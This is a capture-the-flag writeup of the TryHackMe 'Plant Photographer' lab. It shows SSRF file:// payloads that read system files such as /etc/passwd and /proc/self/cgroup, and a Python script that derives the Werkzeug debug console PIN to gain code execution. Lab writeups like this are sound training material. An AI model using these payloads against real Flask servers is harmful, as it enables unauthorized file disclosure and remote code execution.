> For the complete documentation index, see [llms.txt](https://kur0sh1r0.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kur0sh1r0.gitbook.io/ctf-writeups/tryhackme/tryhackme-plant-photographer-challenge-writeup.md).

# TryHackMe Plant Photographer Challenge—Writeup

Welcome back to another writeup. It’s been quite some time since my last one, as I’ve been busy handling personal matters and other responsibilities along the way. Despite that, I’m glad to be back and diving into another challenge. In this writeup, I’ll be walking you through my approach to solving the *Plant Photographer* room from TryHackMe. I’ll break down the process step by step, share my thought process, and highlight the techniques I used to reach the solution.

<figure><img src="/files/zVxSmL3sxMXKmMEWkTjS" alt=""><figcaption></figcaption></figure>

**Enumeration**

To begin, we perform a port scan using `Nmap` to identify any open ports that could serve as possible entry points for further exploitation.

`nmap -A -T5 10.49.176.27`

<figure><img src="/files/KFWNI6NshOLCUlioZjGz" alt=""><figcaption></figcaption></figure>

There are 2 open ports, 22 and 80.

Now let's visit the webpage:

<figure><img src="/files/VqOP1G9AWWNNehSr7vwr" alt=""><figcaption></figcaption></figure>

Just a simple blog... Now let's enumerate the endpoints using `Gobuster` .

`gobuster dir -u http://10.49.176.27/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -q`

<figure><img src="/files/L5QDXfEZYH8wsfaCYsmo" alt=""><figcaption></figcaption></figure>

We discovered three endpoints: `/download`, `/admin`, and `/console`.

Let's visit `/download`:

<figure><img src="/files/8cLz9PjePXfB2KCgydsl" alt=""><figcaption></figcaption></figure>

`/admin` :

<figure><img src="/files/EiJIW0jXy2UDpfS5CRJW" alt=""><figcaption></figcaption></figure>

Smell like `SSRF` here:>&#x20;

`/console` :

<figure><img src="/files/WIIMU4QFjyOsV46HakTE" alt=""><figcaption></figcaption></figure>

As you can see, we are presented with the Werkzeug/Flask debug console, which is protected and requires a PIN to unlock it.

Now let's go back to the main page and download the resume:

<figure><img src="/files/heEnljDCtcvCG5RIf30u" alt=""><figcaption></figcaption></figure>

Just a basic resume file… After that, I intercepted the request while downloading the resume using `BurpSuite`.

<figure><img src="/files/Yg5cr7Feu4uZRSdjVYPO" alt=""><figcaption></figcaption></figure>

Here's the full requests:

```
http://10.49.176.27/download?server=secure-file-storage.com:8087&id=75482342
```

The `server` parameter appears to define a target server along with an associated ID, which the backend uses to forward requests to an internal service. This behavior suggests a possible Server-Side Request Forgery (SSRF) opportunity. However, after attempting to enumerate internal ports, no useful services were found. I also tried modifying the `server` value to point to localhost and an external server under my control, but neither approach produced any meaningful results.

I attempted modifying the port to intentionally trigger a pycurl error, hoping it would reveal any useful information or leaks we could potentially exploit.

```
http://10.49.176.27/download?server=secure-file-storage.com:1234&id=75482342
```

And while checking the pycurl error to see any information, I've got the is:

<figure><img src="/files/BQo9lIYBT58q5stcl8Tg" alt=""><figcaption></figcaption></figure>

As you can see, we've got the first flag as the `X-API-KEY` .

Alongside the API key, we captured additional data as well. From this, we were able to determine the location of the web root directory.

`/usr/src/app/app.py`&#x20;

Aside from that, we also found the Python version used:

<figure><img src="/files/4li1qmd1UkKeZ3SmHR5U" alt=""><figcaption></figcaption></figure>

For the moment, we’ll focus on exploiting Werkzeug to achieve remote code execution. We attempt to abuse the server request parameter by using the `file://` protocol to read local files, like this:

```
http://10.49.176.27/download?server=file:///etc/passwd&id=75482342
```

The server does accept the `file://` protocol, as indicated by the error message showing it attempted to open `/etc/passwd/...` However, the backend is automatically appending an internal directory path and file extension to whatever is supplied in the `server` parameter. Since `/etc/passwd` is a file rather than a directory, pycurl fails when it tries to access it as if it contained subpaths.

To bypass this behavior, we can append a URL fragment (`#`) or use a null byte trick to cut off the unwanted portion of the path being appended. In this case, we URL-encode the fragment as `%23` to properly handle it in the request.

```
http://10.49.176.27/download?server=file:///etc/passwd%23&id=75482342
```

And here's the result:

<figure><img src="/files/B2TgetxaeQJKe1rge9vx" alt=""><figcaption></figcaption></figure>

It worked! Since we had already seen the path to `app.py` from the earlier error output, we can now proceed to inspect its source code:

<figure><img src="/files/otzQUWJL2O4m1FSmRUxg" alt=""><figcaption></figcaption></figure>

At this point, we can analyze how the website actually works by reviewing its source code. Along with the API key, we also discover a `private-docs` directory sitting alongside `public-docs`. The code shows that the `/admin` endpoint is responsible for accessing this private folder and retrieving the `flag.pdf` file.

We then attempt to exploit the file inclusion vulnerability to load and retrieve `flag.pdf`.

`curl "http://10.49.176.27/download?server=file:///usr/src/app/private-docs/flag.pdf%23&id=1" -O`&#x20;

Now let's check the PDF file:

<figure><img src="/files/LshBt6OANvWOV5d138E4" alt=""><figcaption></figcaption></figure>

We've got the second flag!&#x20;

A key point about the Werkzeug console PIN is that it is generated in a deterministic way based on information collected directly from the server. This same data can often be obtained through a file disclosure vulnerability, making it potentially recoverable. The [HackTricks](https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/werkzeug.html) article provides a detailed explanation of how this PIN generation process works.&#x20;

Now, since the way Werkzeug generates the debug PIN has changed considerably across different versions, we first need to understand how it works specifically in Werkzeug 0.16.0. This will allow us to build an accurate PIN generator. To do that, we can analyze the relevant implementation inside `/usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py`.

`curl "http://10.49.176.27/download?server=file:///usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py%23&id=1"`&#x20;

<figure><img src="/files/tp78zz8GZdwAqvrwwgAj" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5kUBq4rgKJ8cZ3c6t66d" alt=""><figcaption></figcaption></figure>

In this version, the process for generating the machine ID is handled in a simpler way. Rather than aggregating information from several system files as described in the HackTricks writeup, Werkzeug 0.16.0 will directly take the value from `/proc/self/cgroup` as the machine ID, provided that the file can be read successfully.

`curl "http://10.49.176.27/download?server=file:///proc/self/cgroup%23&id=1"`

<figure><img src="/files/ep4JItaP8mAKdkPYMsia" alt=""><figcaption></figcaption></figure>

This means that the machine ID is effectively just the raw value obtained directly from `/proc/self/cgroup`.

`77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca`

Secondly, even though the HackTricks writeup points out that older versions used MD5 instead of SHA1, checking the source code for version 0.16.0 verifies that MD5 is still the hashing algorithm in use.

<figure><img src="/files/U8vyypwhhCR1OItuj92K" alt=""><figcaption></figcaption></figure>

Now that we know how it generate a PIN, we can now take the public and private bits. Hacktricks provide the correct public bits already.

```python
probably_public_bits = [
    'root',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]
```

Next, we examine the `private_bits`. The value produced by `str(uuid.getnode())` represents the machine’s MAC address, but converted into a decimal format. To proceed, we first retrieve the network interface name (such as `eth0`) by inspecting `/proc/net/arp`:

`curl "http://10.49.176.27/download?server=file:///proc/net/arp%23&id=1"`

<figure><img src="/files/O42U1IXZSsaP3imCbRkn" alt=""><figcaption></figcaption></figure>

All we need to do is to convert it to decimal:

```bash
echo $((16#$(echo "02:42:ac:14:00:02" | tr -d ':')))
```

<figure><img src="/files/57RmegRKQRtaDmBHCL8S" alt=""><figcaption></figcaption></figure>

Now that we have all of the private bits, we can now create our pin generator to unlock the `/console`  endpoint.

Here's my own pin generator written in Python:

```python
import hashlib as h

# target bits (public + private merged)
bits = (
    'root','flask.app','Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py',
    '2485378088962',
    '77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca'
)

# init hash + feed all non-empty bits (auto-encode)
m = h.md5(b''.join(b.encode() for b in bits if b))

# derive cookie name
m.update(b'cookiesalt')
cookie = '__wzd' + m.hexdigest()[:20]

# derive pin (reuse state, append salt)
m.update(b'pinsalt')
pin = str(int(m.hexdigest(), 16)).zfill(9)[:9]

# format pin (prefer grouped)
fmt = next(
    ('-'.join(pin[i:i+n] for i in range(0, 9, n))
     for n in (5,4,3) if 9 % n == 0),
    pin
)

print(f"PIN: {fmt}")
```

Here's the output:

<figure><img src="/files/ysTe6eR56FUF3Q3tNdQ4" alt=""><figcaption></figcaption></figure>

Now let's go back to console and enter this PIN.

<figure><img src="/files/h3RJL4SoKMnMgEGSoDl9" alt=""><figcaption></figcaption></figure>

As shown, we have successfully accessed the Interactive Console, giving us the ability to execute Python code directly from this interface.

Now let's list the files:

`import os; os.listdir('/usr/src/app')`

<figure><img src="/files/pLkqctR0VxjONSPxDZp6" alt=""><figcaption></figcaption></figure>

And there's the flag!

`open('flag-982374827648721338.txt').read()`

<figure><img src="/files/aTu9LhjxHaMnSu70cmZP" alt=""><figcaption></figcaption></figure>

We've successfully solved Plant Photographer!

This challenge was solved by chaining multiple small discoveries together, starting from basic enumeration and moving through hidden endpoints and request analysis. What initially looked like simple functionality turned out to expose deeper issues like internal file access and information leakage, which eventually led to sensitive source code and configuration details. Along the way, we also learned how the Werkzeug debug console PIN is generated using system-specific values like machine identifiers and other local environment data combined with a hashing process, making it predictable once those values are obtained. By following these clues step by step and understanding how the application handled requests internally, we were able to escalate access further. This ultimately brought us to the Werkzeug debug console, which, once unlocked, allowed us to execute code and retrieve the final flag.
